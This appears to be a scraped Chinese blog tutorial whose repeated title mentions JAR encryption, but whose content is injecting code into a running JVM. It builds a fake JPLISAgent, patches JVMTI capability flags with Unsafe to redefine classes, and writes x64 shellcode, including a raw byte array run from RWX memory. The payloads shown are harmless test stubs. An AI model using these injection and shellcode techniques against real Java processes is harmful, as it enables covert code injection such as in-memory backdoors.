利用JVMTI实现JAR包加密


发现出现乱码的情况,这里卡了我不少时间,后面发现其实是在结构体映射的时候,需要自己再手动对准结构体头。

利用JVMTI实现JAR包加密


这里我对照了下一结构体,从PEBLDRDATA中取出IninitializationOrderModuleList的Flink地址会映射到LDRDATATABLEENTRY的IninitializationOrderLinks成员上,但是由于该成语对于结构体已经偏移了0x20的位置,所以我们要在获取的地址上再减去0x20的位置,就能准确的获取到FullDllName和BaseDllName。

利用JVMTI实现JAR包加密


成功获取到模块的信息,我这里用内联汇编写了个循环来判断获取。

在C++项目下新建一个demo.asm

.CODE
GetKernel32 proc sub rsp, 100h
mov rax, gs:[60h] ; PEB mov rax, [rax+18h] ; Ldr mov rax, [rax+30h] ; InInitializationOrderModuleList
_kernel32: ;rax offset 0x20 for LDR_DATA_TABLE_ENTRY mov rsi, [rax+10h] ; DllBase mov rbx, [rax+40h] ; BaseDllName mov rax, [rax] cmp dword ptr [rbx],0045004Bh ;ke jnz _kernel32 cmp dword ptr [rbx+04h],004E0052h ;rn jnz _kernel32 cmp dword ptr [rbx+08h],004c0045h ;el jnz _kernel32 cmp dword ptr [rbx+0Ch],00320033h ;32 jnz _kernel32
mov rax,rsi add rsp, 100h retGetKernel32 endp
END

在循环中,rax的值就是LDRDATATABLE_ENTRY结构体偏移0x20的位置上

然后在cpp文件中调用:

#include #include #include 
extern "C" PVOID _cdecl GetKernel32();
int main() { std::cout << "Hello World!n"; std::cout << "GetKernel32 Function Return Address:" << GetKernel32() << std::endl;
return 0;}

利用JVMTI实现JAR包加密



获取JNI_GetCreatedJavaVMs函数地址

先来看看如何获取导出表中GetProcAddress函数地址

上一小节通过PEB的方式拿到了DllBase,而这个DllBase就是我们要偏移的IMAGEDOSHEADER

0:022> dt _IMAGE_DOS_HEADER 0x00007ffb`36a10000ntdll!_IMAGE_DOS_HEADER   +0x000 e_magic          : 0x5a4d   +0x002 e_cblp           : 0x90   +0x004 e_cp             : 3   +0x006 e_crlc           : 0   +0x008 e_cparhdr        : 4   +0x00a e_minalloc       : 0   +0x00c e_maxalloc       : 0xffff   +0x00e e_ss             : 0   +0x010 e_sp             : 0xb8   +0x012 e_csum           : 0   +0x014 e_ip             : 0   +0x016 e_cs             : 0   +0x018 e_lfarlc         : 0x40   +0x01a e_ovno           : 0   +0x01c e_res            : [4] 0   +0x024 e_oemid          : 0   +0x026 e_oeminfo        : 0   +0x028 e_res2           : [10] 0   +0x03c e_lfanew         : 0n248

偏移0x3c的位置上elfanew变量存放着IMAGENT_HEADERS头的偏移位置

然后找到偏移0xf8(十进制248)的位置上

0:022> dt _IMAGE_NT_HEADERS64 0x00007ffb`36a10000+0xf8ntdll!_IMAGE_NT_HEADERS64   +0x000 Signature        : 0x4550   +0x004 FileHeader       : _IMAGE_FILE_HEADER   +0x018 OptionalHeader   : _IMAGE_OPTIONAL_HEADER64

 要获取导出表,得先找到IMAGENTHEADERS的OptionalHeader的DataDirectory[0].VirtualAddress值

0:022> dx -r1 (*((ntdll!_IMAGE_DATA_DIRECTORY *)0x7ffb36a10180))(*((ntdll!_IMAGE_DATA_DIRECTORY *)0x7ffb36a10180))                 [Type: _IMAGE_DATA_DIRECTORY]    [+0x000] VirtualAddress   : 0x8ec80 [Type: unsigned long]    [+0x004] Size             : 0xdd40 [Type: unsigned long]

我这里的值是0x8ec80,再从之前的Dos头基址偏移0x8ec80找到导出表,来看看这个地址

typedef struct _IMAGE_EXPORT_DIRECTORY {    DWORD   Characteristics;           //0x00    DWORD   TimeDateStamp;                      //0x04    WORD    MajorVersion;                      //0x08    WORD    MinorVersion;                      //0x0A    DWORD   Name;                                            //0x0C    DWORD   Base;                                            //0x10    DWORD   NumberOfFunctions;           //0x14    DWORD   NumberOfNames;                      //0x18    DWORD   AddressOfFunctions;     //0x1C    DWORD   AddressOfNames;         //0x20    DWORD   AddressOfNameOrdinals;  //0x24} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

我们首先得判断要查找的函数名称在导出表中的索引是多少

获取AddressOfNames上的值,Dos头偏移就能获取导出表名称的数组,经过遍历保存数组的偏移位。再获取AddressOfNameOrdinals上该函数对应的索引index,再从AddressOfFunctions上偏移index的数组上获取地址。

这里可能有点绕,我用C++函数实现了一下

/*@lpBaseAddress           PEB中获取的DllBase地址@lpszFuncName           要比较的函数名称*/LPVOID PEGetProcAddress(LPVOID lpBaseAddress, LPCWSTR lpszFuncName){           printf("lpszFuncName : %Sn", lpszFuncName);
LPVOID lpFunc = NULL; // 获取Dos头 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBaseAddress; printf("Signature:%dn", pDosHeader->e_lfanew); PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE *)pDosHeader + pDosHeader->e_lfanew); printf("pNtHeaders Address:0x%pn", pNtHeaders); //拿到导出表的偏移 PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((BYTE *)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); printf("pExportTable Address:0x%pn", pExportTable); // 获取导出表的数据 PDWORD lpAddressOfNamesArray = (PDWORD)((BYTE *)pDosHeader + pExportTable->AddressOfNames); PCHAR lpFuncName = NULL; PWORD lpAddressOfNameOrdinalsArray = (PWORD)((BYTE *)pDosHeader + pExportTable->AddressOfNameOrdinals); WORD wHint = 0; PDWORD lpAddressOfFunctionsArray = (PDWORD)((BYTE *)pDosHeader + pExportTable->AddressOfFunctions); DWORD dwNumberOfNames = pExportTable->NumberOfNames; DWORD i = 0; // 遍历导出表的导出函数的名称, 并进行匹配 for (i = 0; i < dwNumberOfNames; i++) { lpFuncName = (PCHAR)((BYTE *)pDosHeader + lpAddressOfNamesArray[i]); WCHAR wszClassName[256]; memset(wszClassName, 0, sizeof(wszClassName)); MultiByteToWideChar(CP_ACP, 0, lpFuncName, strlen(lpFuncName) + 1, wszClassName, sizeof(wszClassName) / sizeof(wszClassName[0])); //转换PCHAR类型到LPCWSTR if (0 == ::lstrcmpi(wszClassName, lpszFuncName)) //lstrcmpi只接收LPCWSTR { // 获取导出函数地址 wHint = lpAddressOfNameOrdinalsArray[i]; lpFunc = (LPVOID)((BYTE *)pDosHeader + lpAddressOfFunctionsArray[wHint]); break; } } return lpFunc;}

利用JVMTI实现JAR包加密



构造JPLISAgent对象

在InstrumentationImpl对象中,可以通过调用redefineClasses方法来重新覆盖任意类的字节码,并通过这种方式来注入恶意代码。

public void    redefineClasses(ClassDefinition...  definitions)    throws  ClassNotFoundException {    if (!isRedefineClassesSupported()) {        throw new UnsupportedOperationException("redefineClasses is not supported in this environment");    }    if (definitions == null) {        throw new NullPointerException("null passed as 'definitions' in redefineClasses");    }    for (int i = 0; i < definitions.length; ++i) {        if (definitions[i] == null) {            throw new NullPointerException("element of 'definitions' is null in redefineClasses");        }    }    if (definitions.length == 0) {        return; // short-circuit if there are no changes requested    }
redefineClasses0(mNativeAgent, definitions);}
private InstrumentationImpl(long nativeAgent, boolean environmentSupportsRedefineClasses, boolean environmentSupportsNativeMethodPrefix) { ... mNativeAgent = nativeAgent; ...}

其最终是调用了Native的redefineClasses0函数,并传入一个mNativeAgent指针,这个指针在Java层面是long类型。

所以思路就是构造一个JPLISAgent对象地址,并结合反射实例化一个InstrumentationImpl对象。

而底层C代码的redefineClasses0函数实现是通过调用(*jvmtienv)->RedefineClasses成员函数,这个jvmtienv变量则是通过jvmti(agent)宏代码转换而来

#define jvmti(a) a->mNormalEnvironment.mJVMTIEnv

所以如果想要成功调用(*jvmtienv)->RedefineClasses成员函数,就必须在调用redefineClasses0函数传入的mNativeAgent指针实现mNormalEnvironment成员变量。

调用之前拿到的JNI_GetCreatedJavaVMs函数,得到JavaVM对象。并继续调用JavaVM对象的GetEnv函数获取jvmtienv对象,最后创建JPLISAgent对象,并把jvmtienv放到JPLISAgent偏移0x08的mNormalEnvironment成员变量上。

这里我用JNI的C代码实现,方便读者更好的理解

#include #include #include #include "jni.h"#include "jvmti.h"#include "org_jarEncoder_GetJvmtiEnv.h"

struct _JPLISAgent;
typedef struct _JPLISAgent JPLISAgent;typedef struct _JPLISEnvironment JPLISEnvironment;
struct _JPLISEnvironment { jvmtiEnv * mJVMTIEnv; /* the JVM TI environment */ JPLISAgent * mAgent; /* corresponding agent */ jboolean mIsRetransformer; /* indicates if special environment */};
struct _JPLISAgent { JavaVM * mJVM; /* handle to the JVM */ JPLISEnvironment mNormalEnvironment; /* for every thing but retransform stuff */ JPLISEnvironment mRetransformEnvironment;/* for retransform stuff only */ jobject mInstrumentationImpl; /* handle to the Instrumentation instance */ jmethodID mPremainCaller; /* method on the InstrumentationImpl that does the premain stuff (cached to save lots of lookups) */ jmethodID mAgentmainCaller; /* method on the InstrumentationImpl for agents loaded via attach mechanism */ jmethodID mTransform; /* method on the InstrumentationImpl that does the class file transform */ jboolean mRedefineAvailable; /* cached answer to "does this agent support redefine" */ jboolean mRedefineAdded; /* indicates if can_redefine_classes capability has been added */ jboolean mNativeMethodPrefixAvailable; /* cached answer to "does this agent support prefixing" */ jboolean mNativeMethodPrefixAdded; /* indicates if can_set_native_method_prefix capability has been added */ char const * mAgentClassName; /* agent class name */ char const * mOptionsString; /* -javaagent options string */ const char * mJarfile; /* agent jar file name */};
void *allocate(jvmtiEnv * jvmtienv, size_t bytecount) { void * resultBuffer = NULL; jvmtiError error = JVMTI_ERROR_NONE;
error = jvmtienv->Allocate( bytecount, (unsigned char**)&resultBuffer);
if (error != JVMTI_ERROR_NONE) { resultBuffer = NULL; } return resultBuffer;}
typedef enum { JPLIS_INIT_ERROR_NONE, JPLIS_INIT_ERROR_CANNOT_CREATE_NATIVE_AGENT, JPLIS_INIT_ERROR_FAILURE, JPLIS_INIT_ERROR_ALLOCATION_FAILURE, JPLIS_INIT_ERROR_AGENT_CLASS_NOT_SPECIFIED} JPLISInitializationError;
JPLISAgent *allocateJPLISAgent(jvmtiEnv * jvmtienv) { return (JPLISAgent *)allocate(jvmtienv, sizeof(JPLISAgent));}
void initializeJPLISAgent(JPLISAgent * agent, jvmtiEnv * jvmtienv) {
agent->mJVM = 0; agent->mNormalEnvironment.mJVMTIEnv = jvmtienv; agent->mNormalEnvironment.mAgent = agent; agent->mNormalEnvironment.mIsRetransformer = JNI_FALSE; agent->mRetransformEnvironment.mJVMTIEnv = NULL; /* NULL until needed */ agent->mRetransformEnvironment.mAgent = NULL; agent->mRetransformEnvironment.mIsRetransformer = JNI_FALSE; /* JNI_FALSE until mJVMTIEnv is set */ agent->mAgentmainCaller = NULL; agent->mInstrumentationImpl = NULL; agent->mPremainCaller = NULL; agent->mTransform = NULL; agent->mRedefineAvailable = JNI_TRUE; /* assume no for now */ agent->mRedefineAdded = JNI_FALSE; agent->mNativeMethodPrefixAvailable = JNI_FALSE; /* assume no for now */ agent->mNativeMethodPrefixAdded = JNI_FALSE; agent->mAgentClassName = NULL; agent->mOptionsString = NULL; agent->mJarfile = NULL;}
JNIEXPORT jlong JNICALL Java_org_jarEncoder_GetJvmtiEnv_printJvmtiEnv(JNIEnv *, jclass) { struct JavaVM_* vm; jsize count; typedef jint(JNICALL* GetCreatedJavaVMs)(JavaVM**, jsize, jsize*); //本来想直接调用GetCreatedJavaVMs函数但是缺少特定头文件,因此只能typedef定义另一个结构相同的函数 GetCreatedJavaVMs jni_GetCreatedJavaVMs; // ... jni_GetCreatedJavaVMs = (GetCreatedJavaVMs)GetProcAddress(GetModuleHandle( TEXT("jvm.dll")), "JNI_GetCreatedJavaVMs"); //由于jvm.dll在java程序开始时就已经加载,因此可以直接获取dll中JNI_GetCreatedJavaVMs的地址 jni_GetCreatedJavaVMs(&vm, 1, &count);//获取jvm对象的地址
JNIEnv * jnienv;
vm->functions->GetEnv(vm, (void**)&jnienv, JVMTI_VERSION_1_2);//获取_jvmti_env的地址,即指向JVMTIEnv指针的指针。
JPLISAgent * agent = allocateJPLISAgent((jvmtiEnv*)jnienv); initializeJPLISAgent(agent, (jvmtiEnv*)jnienv);
return (jlong)agent;}

我这里是用的Windows环境,VS2017编译成Dll文件

代码逻辑也很简单,就是通过JNI_GetCreatedJavaVMs获取JavaVM对象,再调用GetEnv获取到JvmtiEnv对象,之后创建一个JPLISAgent堆空间,并调用initializeJPLISAgent初始化JPLISAgent的mNormalEnvironment成员变量,其他成员默认为空即可。

再来看看Java层的代码实现

package org.jarEncoder;
import java.io.File;import java.io.FileInputStream;import java.io.FileNotFoundException;import java.io.IOException;import java.io.InputStream;import java.nio.ByteBuffer;import java.nio.channels.FileChannel;import java.io.FileInputStream;import java.lang.instrument.ClassDefinition;import java.lang.reflect.Constructor;import java.lang.reflect.Method;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Field;import sun.misc.Unsafe;
public class GetJvmtiEnv { static { String realPath = System.getProperty("user.dir") + File.separator +"JvmtiEnv.dll" ; System.load(realPath); } public native static long printJvmtiEnv(); public static void main(String[] args) { GetJvmtiEnv getEnv = new GetJvmtiEnv(); long JPLISAgent = getEnv.printJvmtiEnv(); System.out.println("Get Jvmti Env Done."); Unsafe unsafe = null; try { Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (sun.misc.Unsafe) field.get(null); } catch (Exception e) { throw new AssertionError(e); } Demo demo = new Demo(); demo.print(); long native_jvmtienv=unsafe.getLong(JPLISAgent+8); unsafe.putByte(native_jvmtienv+377 , (byte) 2); redefineEvilClass(JPLISAgent,"org.jarEncoder.Demo","F:\Temp\Demo.class"); demo.print(); } public static void redefineEvilClass(long JPLISAgent,String className,String filename){ File file = new File(filename); try { byte[] classBody = readByNIO(file); Class instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl"); Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class); constructor.setAccessible(true); Object inst = constructor.newInstance(JPLISAgent, true, false);

ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody); Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class); redefineClazz.invoke(inst, new Object[] { new ClassDefinition[] { definition } }); }catch (InvocationTargetException e) { System.out.println("InvocationTargetException"); e.printStackTrace(); }catch(Exception e) { e.printStackTrace(); } } public static void checkFileExists(File file) throws FileNotFoundException { if (file == null || !file.exists()) { System.err.println("file is not null or exist !"); throw new FileNotFoundException(file.getName()); } } public static byte[] readByNIO(File file) throws IOException { checkFileExists(file); FileChannel fileChannel = null; FileInputStream in = null; try { in = new FileInputStream(file); fileChannel = in.getChannel(); ByteBuffer buffer = ByteBuffer.allocate((int) fileChannel.size()); while (fileChannel.read(buffer) > 0) { } return buffer.array(); } finally { closeChannel(fileChannel); closeInputStream(in); } } public static void closeChannel(FileChannel channel) { try { channel.close(); } catch (IOException e) { e.printStackTrace(); } } public static void closeInputStream(InputStream in) { try { in.close(); } catch (IOException e) { e.printStackTrace(); } }}

printJvmtiEnv()方法返回的long类型指针,就是刚才C代码中创建JPLISAgent堆空间的地址。

之后通过Unsafe来操作内存,修改canredefineclasses的值

利用JVMTI实现JAR包加密


canredefineclasses参数是在JavaAgent的MANIFEST.MF指定的,当Can-Redefine-Classes的值为true表示能重定义此代理所需的类,默认值为 false。也就是说,当设置该值为true时,即可通过JavaAgent重新定义已经被JVM加载好的类。

但如果该值为false,还调用redefineclasses来修改,就会出现java.lang.reflect.InvocationTargetException异常

利用JVMTI实现JAR包加密


但其实在不同的JDK版本中,canredefineclasses的偏移量其实是不确定的

在分析该偏移量的时候,Windows环境下是真的很吐血,定位jdk1.8版本的jvm.dll值是360与0x200

利用JVMTI实现JAR包加密


但分析同样版本的libjvm.so的时候就能成功定位361与0x2

利用JVMTI实现JAR包加密


继续看redefineEvilClass方法,通过反射调用sun.instrument.InstrumentationImpl的构造方法,传入之前JNI返回的JPLISAgent指针和构造好的ClassDefinition恶意类。

恶意类的内容是:

package org.jarEncoder;
public class Demo { public void print(){ System.out.println("[+] Inject Success!"); }}

正常的Demo.print()方法是输出”Demo Normal Function!”字样。

利用JVMTI实现JAR包加密


成功修改目标类!


Windows x64环境Shellcode编写

现在整体的调用思路有了,接下来就是编写ShellCode并通过WindowsVirtualMachine类来执行,好拿到构造的JPLISAgent指针地址。

这里我先拿构造MessageBoxA函数来讲述我编写ShellCode的过程,因为本章节更多的是讲解ShellCode的编写思路,而MessageBoxA函数可以方便测试,等到后续再替换成JNI_GetCreatedJavaVMs函数即可。

#include #include #include #include #include "jni.h"#include "jvmti.h"
LPVOID PEGetFuncAddressByName(LPVOID lpBaseAddress, LPCSTR lpszFuncName){ LPVOID lpFunc = NULL; // 获取导出表 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBaseAddress; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE *)pDosHeader + pDosHeader->e_lfanew); PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((BYTE *)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // 获取导出表的数据 PDWORD lpAddressOfNamesArray = (PDWORD)((BYTE *)pDosHeader + pExportTable->AddressOfNames); PCHAR lpFuncName = NULL; PWORD lpAddressOfNameOrdinalsArray = (PWORD)((BYTE *)pDosHeader + pExportTable->AddressOfNameOrdinals); WORD wHint = 0; PDWORD lpAddressOfFunctionsArray = (PDWORD)((BYTE *)pDosHeader + pExportTable->AddressOfFunctions); DWORD dwNumberOfNames = pExportTable->NumberOfNames; DWORD i = 0; // 遍历导出表的导出函数的名称, 并进行匹配 for (i = 0; i < dwNumberOfNames; i++) { lpFuncName = (PCHAR)((BYTE *)pDosHeader + lpAddressOfNamesArray[i]); if (0 == strcmp(lpFuncName, lpszFuncName)) { // 获取导出函数地址 wHint = lpAddressOfNameOrdinalsArray[i]; lpFunc = (LPVOID)((BYTE *)pDosHeader + lpAddressOfFunctionsArray[wHint]); break; } }
return lpFunc;}
int main() { HMODULE hDll = NULL; hDll = GetKernel32(); if (NULL == hDll) { return 0; } typedef HMODULE(WINAPI* MyLoadLibrary)(_In_ LPCSTR lpFileName); typedef FARPROC(WINAPI* MyGetProcAddress)(_In_ HMODULE hModule, _In_ LPCSTR lpProcName); typedef int(WINAPI* MyMessageBox)(_In_opt_ HWND hWnd, _In_opt_ LPCSTR lpText, _In_opt_ LPCSTR lpCaption, _In_ UINT uType); MyLoadLibrary My_LoadLibrary = (MyLoadLibrary)PEGetFuncAddressByName(hDll, "LoadLibraryA"); HMODULE hModule = NULL; hModule = My_LoadLibrary("User32"); MyGetProcAddress My_GetProcAddress = (MyGetProcAddress)PEGetFuncAddressByName(hModule, "GetProcAddress"); MyMessageBox My_MessageBox = (MyMessageBox)PEGetFuncAddressByName(hModule, "MessageBoxA"); My_MessageBox(0, 0, 0, 0);
return 0;}

上述就是我本次编写ShellCode的C实现代码

用x64dbg查看汇编对着函数撸了一遍Assembly

.DATALoadLibraryA BYTE "LoadLibraryA",0User32 BYTE "User32",0MessageBoxA BYTE "MessageBoxA",0
.CODE
RunMessageBox proc sub rsp, 128h and rsp, 0FFFFFFFFFFFFFFF0h ;将堆栈和16个字节倍数对齐
mov rax, gs:[60h] ; PEB mov rax, [rax+18h] ; Ldr mov rax, [rax+30h] ; InInitializationOrderModuleList
_kernel32: ;rax offset 0x20 for LDR_DATA_TABLE_ENTRY mov rsi, [rax+10h] ; DllBase mov rbx, [rax+40h] ; BaseDllName mov rax, [rax] cmp dword ptr [rbx],0045004Bh ;ke jnz _kernel32 cmp dword ptr [rbx+04h],004E0052h ;rn jnz _kernel32 cmp dword ptr [rbx+08h],004c0045h ;el jnz _kernel32 cmp dword ptr [rbx+0Ch],00320033h ;32 jnz _kernel32
mov rax,rsi test rax,rax je _function_end ;lea rdx,LoadLibraryA mov rdx, offset LoadLibraryA mov rcx,rax call PEGetFuncAddressByName ;lea rcx,User32 mov rcx, offset User32 call rax ;lea rdx,MessageBoxA mov rdx, offset MessageBoxA mov rcx,rax call PEGetFuncAddressByName xor r9d,r9d xor r8d,r8d xor edx,edx xor ecx,ecx call rax xor eax,eax _function_end: add rsp, 128h retRunMessageBox endp
PEGetFuncAddressByName proc mov qword ptr [rsp+8h],rbx mov qword ptr [rsp+10h],rbp mov qword ptr [rsp+18h],rsi mov qword ptr [rsp+20h],rdi push r14 movsxd rax,dword ptr [rcx+3Ch] xor r10d,r10d mov rsi,rdx mov rbx,rcx mov r8d,dword ptr [rax+rcx+88h] add r8,rcx mov r11d,dword ptr [r8+20h] mov ebp,dword ptr [r8+24h] add r11,rcx mov r14d,dword ptr [r8+1Ch] add rbp,rcx mov edi,dword ptr [r8+18h] add r14,rcx test edi,edi je _7FF76D4F1096 ;nop dword ptr [rax+rax],eax_7FF76D4F1060: mov ecx,dword ptr [r11] mov r9,rsi add rcx,rbx sub r9,rcx ;nop dword ptr [rax],eax_7FF76D4F1070: movzx r8d,byte ptr [rcx] movzx edx,byte ptr [rcx+r9] sub r8d,edx jne _7FF76D4F1085 inc rcx test edx,edx jne _7FF76D4F1070_7FF76D4F1085: test r8d,r8d je _7FF76D4F10AF inc r10d add r11,4 cmp r10d,edi jb _7FF76D4F1060_7FF76D4F1096: xor eax,eax_7FF76D4F1098: mov rbx,qword ptr [rsp+10h] mov rbp,qword ptr [rsp+18h] mov rsi,qword ptr [rsp+20h] mov rdi,qword ptr [rsp+28h] pop r14 ret_7FF76D4F10AF: movzx ecx,word ptr [rbp+r10*2] mov eax,dword ptr [r14+rcx*4] add rax,rbx jmp _7FF76D4F1098PEGetFuncAddressByName endp
END

PEGetFuncAddress函数就是我们自己写的获取导出表的函数地址

在函数的开头

sub rsp, 128h
and rsp, 0FFFFFFFFFFFFFFF0h                      ;将堆栈和16个字节倍数对齐

这个sub rsp的指令,我原先开辟的是100h的空间,但是100 % 16是有4个字节的空间多出来,导致堆栈不平衡。为此我排了很久,后面开辟到16的倍数128h就解决了。

如下图,就是在汇编中调用PEGetFuncAddress函数时返回LoadLibraryA函数地址的截图

利用JVMTI实现JAR包加密


最终成功调用MessageBoxA函数

利用JVMTI实现JAR包加密


但是这里我又遇到了一个问题,就是在汇编代码中,寻找LoadLibraryA和MessageBoxA字符串是用offset的方式去数据段寻找的,如果直接调用Shellcode,肯定会找不到对应的字符串,从而导致Shellcode运行失败。

而我这里的解决方案就是利用栈空间来存放字符串指针

mov rcx,41786fh                      ;oxApush rcxmov rcx,426567617373654dh                      ;MessageBpush rcxmov rdx,rspmov rcx,raxsub rsp,30hcall PEGetFuncAddressByNameadd rsp,30hadd rsp,10h

先将MessageBoxA字符串压入堆栈中,rsp指针指向的位置正好就是字符串的地址,再sub rsp,30h开辟一个安全的堆栈空间调用PEGetFuncAddressByName函数。

编写完成后,选中相关汇编代码,右键->二进制->编辑,选择C样式Shellcode字符串

利用JVMTI实现JAR包加密


这里可以通过VirtualAlloc的方式验证ShellCode是否可以执行


#include#include// 使数据段可读可写可执行#pragma comment(linker, "/section:.data,RWE")// 生成的ShellCodechar arr[] = { "x48x81xECx28x01x00x00x48x83xE4xF0x65x48x8Bx04x25x60x00x00x00x48x8Bx40x18x48x8Bx40x30x48x8Bx70x10x48x8Bx58x40x48x8Bx00x81x3Bx4Bx00x45x00x75xEDx81x7Bx04x52x00x4Ex00x75xE4x81x7Bx08x45x00x4Cx00x75xDBx81x7Bx0Cx33x00x32x00x75xD2x48x8BxC6x48x85xC0x74x7Ex48xC7xC1x61x72x79x41x51x48xB9x4Cx6Fx61x64x4Cx69x62x72x51x48x8BxD4x48x8BxC8x48x83xECx30xE8x64x00x00x00x48x83xC4x30x48x83xC4x10x48xB9x75x73x65x72x33x32x00x00x51x48x8BxCCx48x83xECx30xFFxD0x48x83xC4x30x48x83xC4x08x48xC7xC1x6Fx78x41x00x51x48xB9x4Dx65x73x73x61x67x65x42x51x48x8BxD4x48x8BxC8x48x83xECx30xE8x1Ex00x00x00x48x83xC4x30x48x83xC4x10x45x33xC9x45x33xC0x33xD2x33xC9xFFxD0x33xC0x48x81xC4x28x01x00x00xC3x48x89x5Cx24x08x48x89x6Cx24x10x48x89x74x24x18x48x89x7Cx24x20x41x56x48x63x41x3Cx45x33xD2x48x8BxF2x48x8BxD9x44x8Bx84x08x88x00x00x00x4Cx03xC1x45x8Bx58x20x41x8Bx68x24x4Cx03xD9x45x8Bx70x1Cx48x03xE9x41x8Bx78x18x4Cx03xF1x85xFFx74x32x41x8Bx0Bx4Cx8BxCEx48x03xCBx4Cx2BxC9x44x0FxB6x01x42x0FxB6x14x09x44x2BxC2x75x07x48xFFxC1x85xD2x75xEBx45x85xC0x74x25x41xFFxC2x49x83xC3x04x44x3BxD7x72xCEx33xC0x48x8Bx5Cx24x10x48x8Bx6Cx24x18x48x8Bx74x24x20x48x8Bx7Cx24x28x41x5ExC3x42x0FxB7x4Cx55x00x41x8Bx04x8Ex48x03xC3xEBxDA" };
int main(){ void* exec = VirtualAlloc(0, sizeof arr, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, arr, sizeof arr); ((void(*)())exec)();}

利用JVMTI实现JAR包加密


熟悉Shellcode编写过程后,就可以用C语言来编写我们自己的Shellcode

最终的Windows x64机器的汇编代码如下

.CODE
GetJavaVmPoint proc sub rsp, 128h and rsp, 0FFFFFFFFFFFFFFF0h ;将堆栈和16个字节倍数对齐
mov rax, gs:[60h] ; PEB mov rax, [rax+18h] ; Ldr mov rax, [rax+30h] ; InInitializationOrderModuleList
_kernel32: ;rax offset 0x20 for LDR_DATA_TABLE_ENTRY mov rsi, [rax+10h] ; DllBase mov rbx, [rax+40h] ; BaseDllName mov rax, [rax] cmp dword ptr [rbx],0045004Bh ;ke jnz _kernel32 cmp dword ptr [rbx+04h],004E0052h ;rn jnz _kernel32 cmp dword ptr [rbx+08h],004c0045h ;el jnz _kernel32 cmp dword ptr [rbx+0Ch],00320033h ;32 jnz _kernel32
mov rax,rsi ;-----------------Get JNI_GetCreatedJavaVMs Function test rax,rax je _function_end ;lea rdx,LoadLibraryA ;mov rdx, offset LoadLibraryA mov rcx,41797261h ;aryA push rcx mov rcx,7262694c64616f4ch ;LoadLibr push rcx mov rdx,rsp mov rcx,rax sub rsp,30h call PEGetFuncAddressByName add rsp,30h add rsp,10h mov ecx,6C6Ch push rcx mov rcx,6d766ah ;jvm.dll push rcx mov rcx,rsp sub rsp,30h call rax add rsp,30h add rsp,10h mov rcx,734D566176h ;vaVMs push rcx mov rcx,614A646574616572h ;reatedJa push rcx mov rcx,437465475F494E4Ah ;JNI_GetC push rcx mov rdx,rsp mov rcx,rax ;LoadLibraryA return to rax, rax is jvm.dll Dos_Hearder BaseAddress sub rsp,28h call PEGetFuncAddressByName add rsp,28h add rsp,18h ;-----------------Get JNI_GetCreatedJavaVMs Function ;----------Execute JNI_GetCreatedJavaVMs Proc mov r15,rax sub rsp,28h mov rcx,rsp ;JavaVm variable mov edx,1 mov r8,rcx add r8,8h sub rsp,30h call r15 ;Call JNI_GetCreatedJavaVMs() add rsp,30h mov rcx,qword ptr [rcx] ;JavaVm variable sub rsp,20h ;Save AttachCurrentThread return *penv push rsp mov rdx,rsp xor r8,r8 mov r15,qword ptr [rcx] mov r15,qword ptr [r15+20h] ;vm->AttachCurrentThread mov r14,rcx call r15 ;Call vm->AttachCurrentThread() mov rcx,r14 ;JavaVm variable mov rdx,8877665544332211h ;Later, replace at the Java Application,jvmtienv variable mov r8d,30010200h ;JVMTI_VERSION_1_2 mov r15,qword ptr [r14] mov r15,qword ptr [r15+30h] ;vm->Getenv sub rsp,20h call r15 ;Call vm->Getenv() add rsp,20h ;----------Execute JNI_GetCreatedJavaVMs Ends
;----------Call DetachCurrentThread Proc mov rcx,r14 mov r15,qword ptr [r14] ;JavaVm variable mov r15,qword ptr [r15+28h] ;vm->DetachCurrentThread call r15 ;Call DetachCurrentThread() ;----------Call DetachCurrentThread Ends _function_end: add rsp, 178h ;Restore Stack Frame 0x128 + 0x28 + 0x28 = 0x178 retGetJavaVmPoint endp
PEGetFuncAddressByName proc mov qword ptr [rsp+8h],rbx mov qword ptr [rsp+10h],rbp mov qword ptr [rsp+18h],rsi mov qword ptr [rsp+20h],rdi push r14 movsxd rax,dword ptr [rcx+3Ch] xor r10d,r10d mov rsi,rdx mov rbx,rcx mov r8d,dword ptr [rax+rcx+88h] add r8,rcx mov r11d,dword ptr [r8+20h] mov ebp,dword ptr [r8+24h] add r11,rcx mov r14d,dword ptr [r8+1Ch] add rbp,rcx mov edi,dword ptr [r8+18h] add r14,rcx test edi,edi je _7FF76D4F1096 ;nop dword ptr [rax+rax],eax_7FF76D4F1060: mov ecx,dword ptr [r11] mov r9,rsi add rcx,rbx sub r9,rcx ;nop dword ptr [rax],eax_7FF76D4F1070: movzx r8d,byte ptr [rcx] movzx edx,byte ptr [rcx+r9] sub r8d,edx jne _7FF76D4F1085 inc rcx test edx,edx jne _7FF76D4F1070_7FF76D4F1085: test r8d,r8d je _7FF76D4F10AF inc r10d add r11,4 cmp r10d,edi jb _7FF76D4F1060_7FF76D4F1096: xor eax,eax_7FF76D4F1098: mov rbx,qword ptr [rsp+10h] mov rbp,qword ptr [rsp+18h] mov rsi,qword ptr [rsp+20h] mov rdi,qword ptr [rsp+28h] pop r14 ret_7FF76D4F10AF: movzx ecx,word ptr [rbp+r10*2] mov eax,dword ptr [r14+rcx*4] add rax,rbx jmp _7FF76D4F1098PEGetFuncAddressByName endp
END

上面汇编代码在执行GetEnv函数前后,还分别调用了AttachCurrentThread和DetachCurrentThread

